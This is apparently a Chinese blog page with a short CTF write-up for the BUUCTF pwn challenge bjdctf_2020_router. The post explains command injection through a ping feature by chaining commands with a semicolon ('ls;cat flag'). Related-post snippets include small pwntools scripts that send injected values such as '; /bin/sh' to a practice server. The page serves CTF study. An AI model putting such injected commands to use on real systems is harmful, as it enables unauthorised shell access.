BUUCTF-bjdctf_2020_router-WP

Rt1Text Rt1Text 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 700+累计阅读 783平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄5年
关注
原创 最新推荐文章于 2026-02-07 00:00:41 发布 783 阅读 AI 写同款· GEO 优化 ›
OCR文字识别基础 ocr文字识别 阅读详情

1.checksec

64位 

2.IDA

 有一个菜单选择

main()函数

功能1是一个ping命令

buf可控,拼接在dest后,Linux里用;(分号)连接两个命令,同时执行 

nc连接上远程,选择功能1,同时执行命令  ls;cat flag

3.EXP

得到flag 

收录于
BUUCTF

当前文章被收录于：

BUUCTF
34 篇文章 1 人学习
订阅专栏 查看详情
标签
#pwn #安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
27、自闭症儿童治疗与玩具设计研究 本研究探讨了自闭症儿童的治疗方法与玩具设计之间的关联，分析了游戏疗法、音乐疗法和职业疗法等在治疗中的应用，并介绍了多种针对自闭症儿童的治疗玩具案例。通过用户研究和多学科合作，提出了以Pro-Ability为核心的设计理念，开发了结合音乐疗法和精细运动训练的智能玩具套件。研究总结了当前成果与局限性，并展望了未来发展方向，旨在为自闭症儿童提供更有效的康复支持。 阅读详情

相关推荐

跟着团子学SAP CO：基于成本的完工百分比结算：Cost-based POC（以项目为例）

本文以英国及北美会计准则下的基于成本的POC的销售型项目结算对PS模块中的完工百分比进行介绍

Lucas1211的博客 2万+

BUUCTF pwn——bjdctf_2020_router

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 417

当Flowable遇上AI：智能流程决策的未来探索

本文探讨了Flowable工作流引擎与AI技术的融合，构建智能流程决策系统的前沿实践。通过动态流程控制、机器学习优化表达式、自然语言生成规则等创新方法，显著提升业务流程的自动化水平和决策效率。重点解析了AI如何赋能Flowable核心引擎，实现从静态规则到动态智能的跨越式发展。

weixin_29271053的博客 392

bjdctf_2020_router--buuctf

分号实现命令一行执行

2301_81060697的博客 555

Bioinformatics2021 | FraGAT+：基于分子原始片段的多尺度图注意力机制的分子性质预测模型

Bioinformatics2021 | FraGAT：基于分子原始片段的多尺度图注意力机制的分子性质预测模型

justBeHerHero 1999

ssd训练自己的数据集

基于SSD实现目标检测（训练自己的数据集）

reset2021的博客 6804

BJDCTF-writeup

本篇文章为个人做题时的部分wp，如有错误，请联系我更正。 目录杂项最简单的misc-y1ngA_Beautiful_Picture小姐姐-y1ngEasyBaBa圣火昭昭-y1ngTARGZ-y1ng总结 杂项 最简单的misc-y1ng 题目是一个zip包，尝试解压出错，用AZR压缩包修复工具修复后，解压得到一个secret文件，由于没有后缀名，放入010editor查看，发现含有IHDR ...

夏日 の blog 2060

多周期路径约束（set_multicycle_path ）

1.由慢到快的多周期约束 如下图所示，发射时钟周期是接受时钟周期的4倍。默认情况下，按照1T原则来进行静态时序分析和布局布线的。即建立时间是在发射沿后的第一个捕获沿检查，而保持时间是同一时刻下源时钟和捕获时钟的触发边沿下检查的(建立时间检查边沿的前一个触发沿)。 但是这样导致的问题就是该路径过于苛刻，为了满足这条路径的要求，不得不放弃其他路径。或者根本没办法保证这个默认的约束。总之最终造成...

Arist. 5506

bjdctf_2020_router

exp from pwn import * p = remote('node3.buuoj.cn', 28110) p.sendlineafter('choose:', b'1') p.sendlineafter('address', b'127.0.0.1 & sh') p.interactive()

、moddemod 673

海康visionmaster开发笔记10-集成HALCON第三方算子到VM工具箱的方法

海康visionmaster开发笔记10-HALCON第三方算子到VM工具箱的方法

视觉人机器视觉的博客 4347

基于改进YOLOv5的小目标检测 | 添加CBAM注意机制 + 更换Neck网络之BiFPN + 增加高分辨率检测头

本文针对图像中小目标难以检测的问题，提出了一种基于YOLOv5的改进模型。在主干网络中，加入CBAM注意力模块增强网络特征提取能力；在颈部网络部分，使用BiFPN结构替换PANet结构，强化底层特征利用；在检测头部分，增加高分辨率检测头，改善对于微小目标的检测能力。本文算法在无人机数据集VisDrone2019数据集上进行了多次对比实验，结果表明本文算法可以有效地检测小目标。🌈

小哥谈 2937

bjdctf-2020-router

其实知道 Linux 中的命令执行可以用;分隔就会非常简单。

m0_73743784的博客 443

磁环电感参数计算

电感饱和是指当电感中的电流超过一定阈值时，电感中的磁场无法继续增加，而是达到一个饱和状态，导致电感的感应电动势减小或消失。电感通常由线圈组成，当通过线圈的电流不断增加时，线圈内部的磁场也随之增加。然而，当电流达到一定程度时，线圈的铁芯磁化达到饱和，无法进一步增加磁场强度。电感饱和的阈值取决于电感的结构、材料和尺寸等因素。通常情况下，电感的额定电流会标明其饱和电流值。一旦电感中的电流超过了饱和电流，电感将饱和并出现异常行为。当我们谈论电感饱和的时候，实际上是在谈论磁芯饱和——空心的电感永远不会饱和。

小幽余生不加糖 4031

BUUCTF Pwn bjdctf_2020_router WP

注意到33行会执行system 15行已经有了ping 会将输入的内容变为ping xxx。这样就能得到flag。

qq_33348179的博客 243

android 蓝牙通讯demo

android 下蓝牙通讯demo，实现了发现蓝牙，使能蓝牙，通过蓝牙发送消息。

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

CTF——MISC习题讲解（BJDCTF2020系列）

CTF——MISC习题讲解（BJDCTF2020系列） 前言 上一章节我们已经做完一场比赛的杂项题目，这次给大家介绍一下BJDCTF中杂项题目 一、[BJDCTF2020]你猜我是个啥 题目链接如下： 链接：https://pan.baidu.com/s/1EG6lGSh2ZOwIdlrU2An50A?pwd=zuc2 提取码：zuc2 下载后是一个压缩包，但是打开也好还是解压也好都是无法打开 用文本编辑器查看发现其实这是一个图片 保存为图片后发现是一个二维码，扫描看看是不是flag 扫描后发现，这个二

tlovejr的博客 4541

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能：商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传，基本资料下载，开钱箱、小票打印、收款结算，支持多币种付款方式（现金、储值卡、礼券、微信等）,支持多种促销。运行环境：.net 4.0登陆信息用户名:1001 密码:123456内置商品信息，商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

BJDCTF2020CRYPTO

这次做一些简单题，巩固一下基础 首先是ctfshow内部赛密码2 全文只给出了ctf和show两个单词，不是什么特殊字符，也不属于特殊解密，类似于这样的，可以想到摩斯密码，它是由-与.组成的，试着用ctf作.，show作-，敲完前四行编码，转换之后为flag，所以挨个敲就好了。 BJDCTF2020签到题 这种题目一般是归纳总结，仅有小写字母与数字组成的密文，我们可以想到MD5，hex，键盘密码等等，这道题使用的是hex编码，直接带入网站就好。 BJDCTF2020编码与调制 这

ZBDX2113的博客 1729

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

bjdctf_2020_router 1

逻辑很简单，一直打印菜单，但仔细看来只有1有用，别的都是迷惑的，1中的功能先是读入一个0x10大小的字符串buf，然后使用strcat函数将buf拼接在dest后面，那这个dest是什么呢，我们先随便输入一个字符串跟据后面的提示想到dest应该是ping，因为ping命令后面什么也不跟会报错。还有一种方法就是上面已经有了dest的值了。

weixin_74861133的博客 556

[原题复现]BJDCTF2020 WEB部分全部解

简介 原题复现：https://gitee.com/xiaohua1998/BJDCTF2020_January 线上平台:https://buuoj.cn（北京联合大学公开的CTF平台） 榆林学院内可使用信安协会内部的CTF训练平台找到此题 1.Easy MD5 1.涉及知识点：md5函数特性绕过、SQL注入 md5() md5() 函数计算字符串的 MD5 散列。 m...

笑花大王 1563

buu [BJDCTF2020]easyrsa

下载附件是一个py文件，打开之后，发现是常规的rsa，不过有几个函数不知道。 这里记录一下， Fraction(a,b) 相当于 a/b Derivative(f(x),x) : 当x='x’时,f(x)的导数值 from Crypto.Util.number import getPrime,bytes_to_long from sympy import Derivative from frac...

YenKoc的博客 2480

【BUUCTF】bjdctf_2020_router

【BUUCTF】bjdctf_2020_router linux里面命令可以用；或&分隔，接下来就可以输我们要的命令了

m0_51251108的博客 432

BUUCTF bjdctf_2020_router

pwn新手小白，写完题后整理的一点点思路，有借鉴其他wp，有任何问题各位师傅可以提出，接收批评指正

2401_88087539的博客 302

BJDCTF2020[encode]

题目：encode，地址：encode 查壳发现时upx壳，使用工具脱壳命令"upx -d "，如果遇到工具脱不了的壳就手动脱壳，手动脱壳请帅哥美女*们看这篇手动脱壳。 使用ida打开，观察逻辑后重命名函数： 逻辑为一个换表base64 + 异或 + RC4。其中RC4可以根据函数传入key，进而生成Box盒子来判断： 知道逻辑后，先用RC4脚本解密，key=“Flag{This_a_Flag}”,密文为“E8D8BD91871A1E56F53F4889682F96142AF2AB8FED7ACFD5E”

yjh_fnu_ltn的博客 1065

bjdctf_2020_babystack 1（栈溢出）

开虚拟机checksec64位，没开栈保护扔进IDA（64位），找到main，F5反编译没啥东西，点进buf看看（同时注意第8行的nbytes，下面要用到）栈溢出吗？不管了，先数为敬，offset=16-4+8（dq=8）+8-4=24（注：buf读入的数据长度由我们输入的nbytes来控制，所以这里可以利用它来溢出，原本的大小为0，没得读，只有我们为其赋值，我们写入的东西才能让他读（第8行和第18行代码））然后找找后门函数Shift+F12，看看有啥东西可用。

Snk0xHeart的博客 504

BUUCTF [BJDCTF2020]纳尼 1

BUUCTF [BJDCTF2020]纳尼 1 某些字符（疑似Base64加密过的密文），可以使用StegSolve或者Photoshop查看，我的StegSolve无法显示，这里使用Photoshop为例。2、使用WinHex给gif文件加上gif的文件头，复制gif的文件头: “47 49 46 38“，将光标移动到数据最前端粘贴即可，然后保存文件。这个文件怎么打不开？用010 Editor或WinHex打开，可以发现gif文件缺少相应的gif文件头。查看不同图层的字符，记录下来，得到完整的密文。

YueXuan_521的博客 2143

BJDCTF2020 router

BJDCTF2020 router

qq_39980610的博客 379

[BUUCTF-pwn]——bjdctf_2020_router

[BUUCTF-pwn]——bjdctf_2020_router 关键漏洞， 如果输入 ； /bin/sh 就会执行system("/bin/sh") 分号是分割符 exploit from pwn import * p = remote("node3.buuoj.cn",27911) p.sendline('1') p.sendafter("Please input the ip address:\n", "; /bin/sh\x00") p.interactive() ...

Y_peak的博客 480
上一篇： BUUCTF-wustctf2020_getshell1
下一篇： BUUCTF-pwnable_orw-WP
点赞 0
评论 0
书签 书签 0
Rt1Text
Rt1Text
博客等级 码龄5年 14粉丝 53原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值